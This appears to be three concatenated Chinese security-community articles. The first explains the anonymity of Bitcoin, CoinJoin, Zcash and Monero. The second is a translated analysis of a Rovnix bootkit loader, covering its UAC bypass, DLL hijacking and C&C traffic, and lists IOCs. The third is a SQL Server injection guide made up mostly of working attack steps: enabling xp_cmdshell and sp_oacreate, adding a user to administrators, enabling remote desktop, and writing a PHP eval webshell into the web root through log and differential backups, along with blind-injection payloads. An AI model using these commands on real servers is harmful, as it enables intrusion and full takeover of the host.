下面就请跟随我的文章，一点一点进入密码学与区块链中，来了解属于BlockChain的点点滴滴。
### 二、比特币的匿名性
#### 1 比特币的地址与交易
众所周知，前一段时间发生的全国高校勒索病毒就是希望使用比特币作为勒索赎金。而为什么在这里使用比特币来代替现实中的直接转账呢？这里我们就可以提到比特币匿名性的优点了。
简单来说，比特币地址是一串由字母和数字组成的26位到34位字符串，看起来有些像乱码。通过区块链可以查到每个比特币地址的所有转账记录。比特币地址就是个人的比特币账户，相当于你的银行卡卡号，任何人都可以通过你的比特币地址给你转账比特币。
比特币地址是比特币网络中的ID或者账号，用于接收比特币。它就是一串符号，以1或3开头，包含27到34个数字或字母(不包括0， I)，
例如:14qViLJfdGaP4EeHnDyJbEGQysnCpwn1gZ。比特币地址来源于密码学中的公钥加密。用户首先创建一个密钥对，它包括一个私钥以及由其衍生出的公钥。对公钥进行进一步运算，可得到比特币的地址；而私钥本质是一个随机数，用于比特币转账时的交易签名。比特币交易中所说的消费，指的是转移一
笔以前交易的比特币，给以比特币地址所标识的新所有者。一个典型的Alice向Bob转账比特币的场景是：Alice创建一笔交易，她首先用自己的私钥进行数字签名，表明自己对要转出的比特币拥有所有权，同时发出一个锁定“声明”——只有Bob的签名才可以拿出这笔比特币。随后，这笔交易被传送到比特币网络当中，成为区块链众多区块的一部分。从Bob的视角来看，他可以验证出Alice确实有这笔比特币的拥有权，同时使用自己的签名可以确认，这是一笔发给自己的收入支付。上述是比特币地址的密码学原理。
根据上述内容我们不难发现，比特币中所使用的“地址”并不是公开、易懂的简单地址。而是利用了密码学中非对称密码的算法。这样做可以将那些明文的地址转换为匿名性更强的地址。起到混淆的作用，也使公众无法直接查看到地址所属的用户。
具体来说，比特币的地址是如何生成的？它又有什么特点呢？首先我们要讲解一下比特币钱包地址的生成。
* * *
> 当用户加入区块链这个大家族的时候，“地址”就必不可缺。
> 1，首先用户会使用算法随机生成一个【私钥】，而这个私钥一般为256bit。由于私钥十分重要，所以用户也会将私钥安全的保存起来。
>
> 2，之后我们会使用SECP256K1算法将私钥处理生成【公钥】。（SECP256K1是一种椭圆曲线算法，通过一个已知『私钥』时可以算得『公钥』，而『公钥』已知时却无法反向计算出『私钥』。这是保障比特币安全的算法基础。）
> 3，使用哈希算法RIPEMD160对公钥进行处理得到【公钥哈希】。（由于哈希函数的特性，此算法也是不可逆的）
>
> 4，将一个字节的地址版本号连接到『公钥哈希』头部（对于比特币网络的pubkey地址，这一字节为“0”），然后对其进行两次SHA256运算，将结果的前4字节作为『公钥哈希』的校验值，连接在其尾部。
> 5，将上一步结果使用BASE58进行编码(比特币定制版本)，就得到了『钱包地址』。
具体格式可参考文章[神秘的比特币地址详解](https://blog.csdn.net/wowotuo/article/details/78899310)
由此我们得到如下图。
虽然我们不知道交易双方的具体地址，但是我们有上述生成的字符串地址也可以进行相关交易。
* 首先我们需要使用【私钥】对交易进行签名。
由于私钥是交易发起方所保存的，所以我需要利用私钥对我们的交易进行签名，用以证明是我本人发起的交易。
* 之后要将其【公钥】一并写入到交易中便于他人验证。
交易数据被广播到比特币网络后，节点会对这个交易数据进行检验，其中就包括对签名的校验。如果校验正确，那么这笔余额就成功地从“转出钱包”转移到“转入钱包”了。
#### 2 比特币半匿名性
而有心的读者也已经发现，虽然比特币中使用了非对称加密算法，但是我的交易仍会被所有节点所查看。而研究表明，比特币可仍然可以通过那些看似随机组成的字符串来找到交易的发起方和接收方。可参考
[比特币匿名性其实有迹可循找到“身份标示点”可轻易锁定目标](https://www.jinse.com/news/bitcoin/24793.html)
于是我们可以大胆的说，比特币是具有 **“半匿名性”** 的数字货币。
除了匿名性外，每个地址的隐私性几乎也是无法保证的。因为比特币的每一笔交易都会公开记录在区块链账本上，任何人都可以查阅。只要通过分析每个地址发生过的交易，就可以发现很多账号之间的关系。
比特币的交易是记录各个地址之间转移货币的数量，并且通常有一个或多个地址输入，对应一个或多个地址的输出。例如：A要支付10个比特币给B，而A具有3个地址，各有4个比特币（4+4+4
否则不够用）。不仅如此，当A给B转账后，A仍然需要找零的过程。
而这个交易会广播到所有节点并被保存下来。其他人可以根据此来推断A的初始地址与找零后地址的关系。不论A经过了多少次交易，生成了多少次地址。那我只要拥有系统中所有的交易记录就可以溯源找到你本来的A。
而下面，我们将针对这些半匿名性问题提出一些改进算法。
### 三、CoinJoin方案
CoinJoin原理相对比较简单，就是把不同用户的多个交易合并成一个交易。
外人从这种混淆过的交易中无法假定输入地址属于同一人所有，也不能确定货币的流向。用户可以进行多次CoinJoin操作，进一步隐藏交易的关系。
上述图片表示了原本比特币转账交易的简图。而下面我们表示一下CoinJoin的具体方法。
CoinJoin不需要改变比特币的协议，实施起来相对容易。目前为止，已经投入使用的方案较多是采用 **中间服务器**
（大的比特交易区则为中间服务器），需要CoinJoin用户在服务器上进行登记，由服务器聚合多个用户请求生成大的交易，经过各个用户进行签名后发布到比特币网络中来。然而事情并不是十全十美的，虽然我们使用这种方法可以达到混淆的目的，但是中间服务器可以掌握所有用户的输入输出地址，对于该服务器来说用户的隐私则一览无余。倘若中间服务器被攻破，那么我们所有的信息则就都被公开了。
（这就如同密码协议中所讨论的是否选择有CA的方案那样，CA作为一个中间管理者可以方便我们协议的执行，但是CA又会成为我们系统协议的漏洞点所在）
谈及CoinJoin的思想，我们就应该谈论下它落地的具体协议算法——Coin Shuffle。
混币（Coin Shuffle）是一个去中心化的隐私功能，它可以让用户快速高效地与其他用户的资金进行混合，在现有的用户账户和混币后的新账户之间创建随机的映射关系，从而实现完全匿名。
在这里我只点一下混币的概念，具体的算法内容我在以后的稿子中进行详细的说明。大家可参考[混币原论文](http://crypsys.mmci.uni-saarland.de/projects/CoinShuffle/coinshuffle.pdf)。
### 四、Zcash中的匿名性
Zcash是一个去中心化的开源密码学货币项目，通过使用先进的密码学技术提供交易隐私和可选择的透明性。Zcash支付被发布在一个公有区块链上，但是交易发送者、接收者和交易数额是保密的。
我们为什么要单独将Zcash拿出来谈论呢？这里就要说一下Zcash的特点。从上述文章中我们知道，比特币的匿名性其实并不是很好。所以Zcash利用了密码学中的
**“零知识证明”** 来增强交易的匿名性。
Zcash使用一个被称为 zk-SNARK的零知识证明架构，该架构是由我们的经验丰富的密码学家团队在近期的突破基础上开发的。这个框架允许网络在不公开交易参与方或者交易数额的情况下维护一个安全的账户余额账本。Zcash交易的元数据是加密的，而不是公开地展示交易参与方和交易数额，zk-SNARK被用来证明没有人进行欺骗或者偷窃。
除此之外，Zcash除了对隐私有极大追求的匿名功能外，也可以进行公开透明的交易，其操作类似于比特币，而与比特币最大的不同是Zcash给客户同时提供了透明地址和隐私地址以供选择，当你需要隐藏账户的资金时，则可以选择向隐私地址发送Zcash，如果你不需要将交易的资金隐藏起来，你也可以选择使用向透明地址发送Zcash的方式完成交易。
下面我们就详细的说明一下Zcash中所涉及的密码学知识以及协议内容。
#### 1 零知识证明
**“零知识证明”** 在我看来是密码学中非常有意义的一个发现。简单来说，零知识证明是证明者能够在不泄露任何有用信息的情况下，使验证者相信他知道的一个秘密。
例如：A在PKU上学，而他想向B证明他事实如此，但是却又不想给B看他的录取通知书（比如通知书的照片太丑等原因emmmm），此时A用零知识证明就可以达到这个目的。
而零知识证明有以下三个条件：
* 完备性：如果证明方和验证方都是诚实的，并遵循证明过程的每一步，进行正确的计算，那么这个证明一定是成功的，验证方一定能够接受证明方。
* 可靠性：没有人能够假冒证明方，使这个证明成功。
* 零知识性：证明过程执行完之后，验证方只获得了“证明方拥有这个知识”这条信息，而没有获得关于这个知识本身的任何一点信息。
#### 2 Zcash的零知识证明理论
上面我们介绍了零知识证明的具体内容，下面我们根据Zcash中的具体协议来分析。
在比特币的协议中，当A准备向B进行交易一张“支票”。那么B将生成一份新的同等金额的“支票”，而A中的支票进行销毁处理。而这个过程会被矿工进行记账处理，并发布给所有节点。
而Zcash为了增强匿名性，它拥有两种地址：z-地址与t-地址。其中t地址是公开地址（如同比特币中地址）而z地址是秘密地址。此时如果A要转账支票给B，要经过如下的过程：
* 1 ，A用自己的私钥对支票进行签名，并得到一串新的字符串r。此时我们用Z1代表A的支票。
* 2 ，而与比特币一样，B也需要新建一张支票（Z2），而Z2与Z1的代号并不相同。
* 3，当交易产生时，我们需要销毁原A的支票。但是与比特币不同的是，我们不是直接销毁Z1，而是引入了 **“作废文件列表”** 的概念。从下图可以看出，原先的A持有的支票仍旧存在，并没有消失，只是这张支票已经被记入“作废列表”。在确定资产所有权时要同时读取两个列表的信息，能确定Bob拥有资产所有权的判断方法是：作废列表中不存在B所持“支票”的代号。
`简单来说，发票列表里的值是不会被删除的。当发票不能使用后直接记录在作废列表里即可。`
而在具体的交易过程中，我们可以进行如下操作：
> 首先我们定义每个用户的私钥为PK1、PK2....PKn。
>
> 之后我们定义n个支票Note1=(PK1 , r1)、Note2=(PK2 , r2)........Noten=(PKn , rn)
>
> 为了达到匿名的效果，我们使用哈希函数对其压缩，使其不可逆。H1=HASH(Note1)、
> H2=HASH(Note2).......Hn=HASH(Noten)
>
> 之后引入废弃集合的概念：
发票列表 | 废弃列表
---|---
H1=HASH(Note1) | HASH(Z1)
H2=HASH(Note2) |
H3=HASH(Note3)
`上面的列表中代表我共产生了n个支票，Z1为支票标识，废弃列表中的Z1表示我第一张发票是作废无用的`
当用户2要给用户4转移一张支票时，用户2会选择随机数r4并生成新的支票`Note4 = (PK4 ,
r4)`并将其密码传递给用户4。之后用户2将`HASH(Z2)`与`HASH(Note4)`发送给系统中所有的节点。并得到如下表格：
发票列表 | 废弃列表
---|---
H1=HASH(Note1) | HASH(Z1)
H2=HASH(Note2) | HASH(Z2)
H3=HASH(Note3) |
H4=HASH(Note4)
这些过程均由矿工进行记账。因为资产只能有一份，所有矿工手里还有一个作废列表。Alice要同时广播自己的“发票代号”，录入作废列表中。发票代号也是加密的。所以矿工们能看到的信息其实是这样的。其中Alice的支票是原先存在的，Alice的支票代号r1和Bob的支票是在交易过程中被Alice广播的。
矿工们能获取的信息相当有限，但是这并不影响对矿工对交易有效性的判断。
判断的逻辑相当简单：矿工拿到A给的支票代号Z1，去作废列表中检索，假如作废列表中已经存在Z1，则证明Z1所对应的的支票早已失效；若作废列表中并不存在Z1，则证明Z1对应的支票仍旧有效，此时矿工把Z1录入作废列表中，把新生成的支票录入支票列表中。所以记账的过程就是对原有支票登记失效，并存入现有支票票的过程。
在这个过程中，我们不难发现，每笔交易矿工能接收到的东西只有一个发票代号，和一张新的发票，而且这两样东西都是被加密的。所以矿工并不知道转账双方是谁，也不知道转账金额是多少。
#### 3 Zcash零知识证明具体算法
由于算法篇幅过长，我后续文章会将算法的具体数学公式推导列出。这里放上参考文档。[SNARKs英文文档](https://z.cash/blog/snark-explain)
[零知识证明与zkSNARK](https://www.jianshu.com/p/b6a14c472cc1?from=timeline)
### 五、最强门罗币
根据我们上述内容所看，匿名性不是那么容易就达到的。那有没有真正可以做到匿名的数字货币呢？下面让我们看一看门罗币的介绍。
门罗币的匿名性主要是由其环形签名技术实现的。在十七世纪的时候，法国群臣向国王进谏时，为了不让国王追查到是由谁带头签名上书的，于是他们发明出了一种环形签名的方式，所有人的姓名按环形排列，自然的隐藏了签名顺序，从而做到无法追查源头。
对于匿名性来说，我们要做到以下两点才算合格：`1，接收方不可追踪、2，发送方不可追踪`。而对于门罗币来说，以下三点是满足他匿名性的关键。
* 环签名 - 发送方，不可追踪
* 混淆地址 - 接收方，不可链接
* 环机密 - 交易金额的隐匿
#### 1 环签名
大家联名上书提意见的时候，怎样让外界难以猜测发起人是谁？上书人的名字可以写成一个环形，环中各个名字的地位看上去彼此相等，因此难以猜测发起人是谁。假设，Alice
发送 5XMR(XMR 即门罗币) 给
Bob，设定混淆交易数量为5。网络在转账时会自动生成5笔5XMR的转账交易，除了Alice发送给Bob的这笔，另外的4笔都是用来瞒骗外界观测者的“诱骗交易”，这样达到隐匿发送方的目的。
#### 2 地址混淆
混淆地址是为了打破输入输出地址之间的关联，以此隐匿转账的来去关系。每当发送者要发起一笔转账的时候，这笔资金不会直接打到接收方的地址，而是打到一个系统临时生成的地址。
Alice向Bob转账时，发送者Alice用接受者Bob的公钥私钥加上一些随机数，生成一个独一无二的、一次性的地址，系统给这个临时地址添加5XMR。观测者，包括Alice、Bob自己都能看到这个临时地址，但都不知道地址里的钱属于谁。那么Bob怎么知道有人给自己转账，怎么收到这笔钱呢？Bob的钱包会用私钥进行搜索功能，查看区块链上的临时地址是否有属于自己的钱。当Bob的私钥（仅有接收方Bob自己的私钥能够）识别出自己有权认领的临时地址，就能使用这笔钱。
#### 3 环机密
Alice怎么告诉区块链网络转账金额是5XMR呢？在 RingCT 的交易中, Alice
不会直接公开给网络5XMR，而是提供一个数字rct,作为交易金额输出。rct= 随机数 + 5（真正的交易金额）。
随机数是用来为真实金额遮盖的，由钱包自动产生。网络可使用这个rct值去验证交易输入是否等于交易输出的金额，以确认没有额外的 门罗币被伪造产生。
然而，对于一个外部的观察者而言，无从得知实际交易金额。
可以参考文章[门罗币基础技术介绍](https://blog.csdn.net/u013107902/article/details/62053013)
### 六、总结
区块链是现在时代的热门话题，而对于我们信息安全的研究人员来说，如何使用密码学领域的知识来加强区块链的安全是我们需要研究的。本次文章我从比特币开始到门罗币，一步一步由弱到强分析了区块链不同应用的匿名性。文章中涉及到许多源码、英文文档的解读所以部分长篇幅的内容暂时没办法呈现，后续我会持续进行深度挖掘来为读者们呈现更精彩的区块链安全知识。
### 七、参考链接
`文章是在笔者大量阅读以及自身思考后进行的总结，文中也参考了部分文章的知识，特此感谢！！`
* 1 <https://blog.csdn.net/jeason29/article/details/51576659>
* 2 <https://en.wikipedia.org/wiki/CoinJoin>
* 3 <https://www.jianshu.com/p/93b1ccf7f3e1>
* 4 <https://www.jianshu.com/p/93b1ccf7f3e1>
* 5 <https://www.jianshu.com/p/4cc80bd7f29e>
有兴趣的话大家可以给我评论，技术无界限，欢迎多多讨论！
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
**原文链接：[Oh, what a boot-iful mornin’](https://securelist.com/oh-what-a-boot-iful-mornin/97365/ "Oh, what a boot-iful mornin’")**
**译者：知道创宇404实验室翻译组**
今年4月中旬，相关威胁监控系统检测到借助“世界银行与冠状病毒大流行有关的新倡议”的恶意软件，扩展名为 EXE 或 RAR， 在这些文件中有著名的
Rovnix
bootkit。虽然利用冠状病毒这一话题进行传播的事情已屡见不鲜，但其使用UAC旁路工具进行更新且被用来提供一个与众不同的装载程序的实例却很少见。
## 输入SFX进行存档
这份名为《关于世界银行与冠状病毒pandemic.exe有关的新举措》的文件，是一份自解压的报告，其中列出了easymule.exe和1211.doc。
SFX脚本
该文件确实包含有关世界银行一项新计划的信息，并且在元数据中引用了与该组织有关的真实个人作为作者。
1211.doc的内容
至于easymule.exe，它的资源包含一个位图图像，实际上是一个可执行文件，会进行解压并加载到内存中。
加载“图像”
## 进入UAC
加载到内存中的PE代码包含许多部分，这些部分与Rovnix引导程序及其模块非常相似，其源代码早在2013年就已经泄漏。
但是，根据原始Rovnix源代码，可以看到近期行动的创新之处，其中之一是使用“模拟受信任目录”技术的UAC绕过机制。
借助Windows
API，该恶意软件将创建目录C：\Windows\System32\（Windows之后为空格）。然后，它将在那里C：\Windows\System32\复制一个合法的已签名可执行文件，该文件有自动提升且不显示UA的C请求（在本例中为wusa.exe）。
另外还使用[DLL劫持](https://encyclopedia.kaspersky.com/glossary/dll-hijacking?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation)：将恶意库放置在假目录中，其中包含由合法文件（在本例中为wtsapi32.dll）导入的库。当从假目录进行运行时，由于GetLongPathNameW
API的存在，合法文件wusa.exe会通过授权检查，而且API从路径中的空格字符也会被删除。同时，在没有UAC请求的情况下从假目录运行合法文件，并加载名为wtsapi.dll的恶意库。
除了将合法的系统文件复制到假目录并在其中创建恶意库外，删除程序还会创建另一个名为uninstall.pdg的文件。接着，该恶意软件会创建并运行一系列BAT文件，这些文件从伪目录中启动wusa.exe，然后通过删除创建的目录和easymule.exe程序来清理跟踪。
## 进入Rovnix
文件uninstall.pdg包含一个打包的可执行文件。它旨在解压以前使用wusa.exe和DLL劫持下载的相同恶意库。
卸载.pdg
恶意库的代码最少，导出的函数WTSQueryUserToken显然没有导入原始wusa.exe所需的功能。相反，该函数读取uninstall.pdg进行解压并从中运行可执行文件。
导出恶意库功能代码
解压后的uninstall.pdg最终是一个带有导出功能BkInstall的DLL，这是恶意软件基于泄漏的Rovnix代码的另一种表现，文件的进一步分析证实了这一点。
粘贴在uninstall.pdg中的是与aPLib一起打包的可执行文件。使用FJ实用程序（也来自Rovnix引导程序）进行粘合，可以由文件解压算法和FJ签名进行证明。
FJ实用程序签名
粘贴的文件是泄漏的Rovnix引导程序包和引导加载程序中的KLoader驱动程序。Uninstall.pdg将它们解压，用引导加载程序覆盖VBR，并将打包的原始VBR放在旁边。另外，将KLoader写入磁盘，其目的是将有效负载注入正在运行的进程中。
从图中可以看出，该恶意软件的源代码与原始代码没有太大区别。原始代码看似经过编译，可以在没有VFS和协议栈的情况下使用，以便驱动程序与网络一起运行。
在这种情况下，驱动程序将DLL注入到进程中，这与我们一开始就谈到的非Rovnix加载程序相同。
因此，一般执行方案如下。
执行方案
## 进入装载机
首先要注意的是文件中的PDB路径。
运行时，恶意软件首先用功能指针填充结构。分配的内存中填充了指向函数的指针，这些指针随后将通过其在分配的内存区域中的偏移量进行调用。
接下来，该进程为对Winsta0和Default桌面对象进行访问，并创建一个具有C＆C通信周期的线程。
创建C＆C通信线程
与C＆C的沟通
创建线程后，恶意软件使用OpenMutexA检查其是否存在于系统中。然后开始C＆C通信周期，在此周期内生成有关受感染设备的数据包。该数据包用单字节密钥0xF7进行XOR加密，然后发送到C＆C。
发送数据的结构
作为响应，恶意软件会接收一个可执行文件，该可执行文件已加载到内存中，控制权转移到该PE文件的入口点。
显示加载到内存中的PE文件
## 进行测试
加载程序并非唯一的示例，示例间都具有相似的功能，但在细节上有些许差别。如通过尝试注册NetService处理程序来检查其是否正常运行，如果失败（即该服务未在系统中运行），该恶意软件将停止运行。
不同版本的加载器示例
加载程序的其他实例不使用bootkit，但会应用相同的UAC旁路方法。所有迹象表明装载机目前正在积极测试中，并配备了各种工具来绕过保护。
我们还发现了可用作加载程序的有效负载的实例。它们包含与加载程序相似的PDB路径和相同的C＆C。有趣的是，所需的API的地址是从函数名获得的，函数名是从配置行中的索引获得的。
获取API地址
在C＆C的命令下，此恶意软件可以运行具有指定参数的EXE文件。
模块名称（E：\LtdProducts\Project\newproject\64bits\64AllSolutions\Release\PcConnect.pdb）建议开发人员将其定位为后门，根据某些配置行的判断，它可能还具有Trojan-Spy元素。
## 结语
我们对伪装成世界银行“新计划”的恶意软件的分析表明，即使像Rovnix这样的著名威胁软件在源代码公开时也会出现很多意外。网络罪犯无需从头开始开发自己的绕过保护工具，可以更加关注自己恶意软件的相关功能，并在源代码中添加额外的“好东西”，例如UAC绕过。卡巴斯基检测到此威胁及其相关模块，如Trojan.Win32.Cidox、Trojan.Win32.Generic、Trojan.Win32.Hesv和Trojan.Win32.Inject。
## IOC
7CFC801458D64EF92E210A41B97993B0
E2A88836459088A1D5293EF9CB4B31B7
bamo.ocry[.]com:8433
45.77.244[.]191:8090
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.77.244.191
"ZoomEye搜索结果"))
45.77.244[.]191:9090
45.77.244[.]191:5050
45.76.145[.]22:8080
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.77.244.191
"ZoomEye搜索结果")）
149.28.30[.]158:443
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=149.28.30.158
"ZoomEye搜索结果"))
* * * | 社区文章 |
# SQLServer数据库注入详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## SQLServer数据库
**SQL Server** 数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS)，是一个比较大型的数据库。端口号为 **1433**
。数据库后缀名 .mdf，注释符是 — 。延时命令：WAITFOR DELAY ‘0:0:2’
##
**SQLServer有三个权限级别：**
1. sa权限：数据库操作，文件管理，命令执行，注册表读取等system。SQLServer数据库的最高权限
2. db权限：文件管理，数据库操作等权限 users-administrators
3. public权限：数据库操作 guest-users
**判断当前用户权限**
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
SQLServer数据库有6个默认的库，分别是4个系统数据库：master 、model 、msdb
、tempdb，和2个实例数据库：ReportServer、ReportServerTempDB。其中，系统数据库 model 和 tempdb
默认是没有数据表的。
1. master数据库：master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
2. model数据库：model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时，SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后，该数据库的所有多余空间都将被空页填满。
3. msdb数据库：msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义，会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
4. tempdb数据库：tempdb数据库是一个非常特殊的数据库，供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如，排序时要用到tempdb数据库。数据被放进tempdb数据库，排完序后再把结果返回给用户。每次SQL Server重新启动，它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
但是如果用navicat远程连接的话，只会显示2个实例数据库：ReportServer、ReportServerTempDB
### **修改默认1433端口**
打开SQLServer配置管理器——>SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP，右键属性
### SQLServer数据库的管理
服务器名称：主机,端口
**Windows身份验证管理**
**SQLServer身份验证管理**
### SQLServer数据库的查询语句
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据，也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:[email protected]/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候，才能执行该命令
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U' #查询当前数据库中所有表的名字
select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息
select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
#查询数据
select count(*) from test..users #查询test数据库user表的数据的条数
select * from test..users #查询test数据库user表的所有数据
declare @table_spaceused table
(name nvarchar(100)
,rows int
,reserved nvarchar(100)
,data nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
insert into @table_spaceused
(name,rows,reserved,data,index_size,unused )
exec sp_MSforeachtable
@command1='exec sp_spaceused ''?'''
select * from @table_spaceused
## SA权限开启xp_cmdshell获取主机权限
判断 xp_cmdshell 是否打开，1就是打开了，0就是关闭了
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
如果xp_cmdshell权限没开启的话，我们可以执行下面命令开启，下面四步，使xp_cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
或者
exec sp_configure 'show advanced options',1; #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure; #查看配置
exec xp_cmdshell 'whoami'; #执行系统命令
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
## SA权限使用sp_oacreate执行系统命令
使用下面命令查看是否可使用 sp_oacreate 执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
如果SQLServer 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’
的访问，可以使用以下命令打开。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
再次执行命令，发现不报错。此时可以执行系统命令了，但是使用 sp_oacreate 执行系统命令不回显
于是我们可以使用以下命令创建用户hack。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
## DB_owner权限LOG备份Getshell
无论是LOG备份还是差异备份，都是利用备份的过程中写入一句话木马
**SQLServer常见的备份策略：**
1. 每周一次完整备份
2. 每天一次差异备份
3. 每小时一次事务日志备份
**利用前提** ：
1. 目标机器存在数据库备份文件 ，也就是如下，我们利用test数据库的话，则需要该test数据库存在数据库备份文件
2. 知道网站的绝对路径
3. 该注入支持堆叠注入
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd，只有一个列 a，类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php
@eval($_POST[x]);?> 的16进制表示
会在目标网站根目录下生成1.php和2.php文件，其中1.php 保存数据库，2.php就是我们需要连接的木马文件。
用菜刀连接即可
## DB_owner权限差异备份Getshell
**利用前提** ：
1. 知道网站的绝对路径 C:phpstudyWWW
2. 该注入支持堆叠注入
注：以下语句一条一条执行
create table [dbo].[test] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
Drop table [test]
1. 这里第二行的 0x786965，是字符 xie 的16进制表示，这里随便填都可以
2. 第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
3. 第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:phpstudyWWWshell.php 的16进制表示
然后会在目标网站根目录下生成shell.php木马文件
用菜刀连接即可
## 盲注SQLServer数据库
**判断是否是SQLServer数据库**
SQLServer数据库特有的表是： **sysobjects** ，所以可以用它来判断是否是SQLServer数据库
exists(select*from sysobjects)
**判断当前数据库用户权限**
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低
如果当前用户是sa，则执行三个都正常显示。如果是db_owner，则执行sa不正常显示，执行public正常显示。如果是public，则只执行public才正常显示
**判断xp_cmdshell是否存在**
and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
正常显示，说明已开启。如果不存在，则需要开启。
如果开启后，相关通过xp_cmdshell执行系统命令，需要该注入点存在堆叠注入
**判断数据库的个数**
and (select count(name) from master..sysdatabases)=N
